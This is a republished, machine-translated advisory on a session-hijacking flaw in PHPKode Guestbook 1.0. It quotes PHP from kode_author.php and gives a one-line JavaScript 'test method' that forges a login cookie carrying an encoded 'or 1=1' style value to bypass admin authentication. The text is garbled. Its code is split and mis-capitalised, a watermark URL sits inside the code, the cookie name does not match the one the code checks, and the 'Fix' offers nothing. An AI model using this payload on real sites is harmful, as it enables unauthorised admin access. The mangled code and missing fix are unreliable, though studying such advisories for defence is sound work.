PHPKode Guestbook 1.0 Session hijacking defect and repair

Source: Internet
Author: User

PHPKode Guestbook 1.0 Session Hijacking Vulnerability

---------------------------------------------------------
Author: bd0rk

Contact: bd0rk [at] hackermail.com www.2cto.com

Greetz: Perle, Zubair Anjum, 1930-Team (Manu, Jenny, Manni & Conny)

Test Platform: Ubuntu-Linux

Affected Software Version: PHPKode Guestbook 1.0

Software developer: http://www.phpkode.com

: Http://www.phpkode.com/download/p/PHPKodeGuestbook_1.0.zip

[Do not translate «««««««««««««««««««««««««««««««««««««««« [do not translate «««««««««««««««««««««««««««««««««««««

Kode_author.php page defect code analysis:

@ Session_start ();

Function Logged (){
If (isset ($ _ SESSION ['logdid']) & isset ($ _ SESSION ['adminuser']) {
Return TRUE;
}
Else {
Return FALSE;
}
}

Function get_visitor_key (){
Www.2cto.com if (isset ($ _ COOKIE ["visitor_key"]) &! Empty ($ _ COOKIE ["visitor_key"]) {
$ Visitor_key = $ _ COOKIE ["visitor_key"];
}
Else {
$ Visitor_key = "None ";
}
Return $ visitor_key;
}

[Do not translate «««««««««««««««««««««««««««««««««««««««« [do not translate «««««««««««««««««««««««««««««««««««««


Test method:

Javascript.doc ument. cookie = "loggedid = YmFzdXJhYWFhMTpvciAxPTFiYXJ1cmFhYWFhYQ ==; path = /";


Fix:
See the above analysis

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.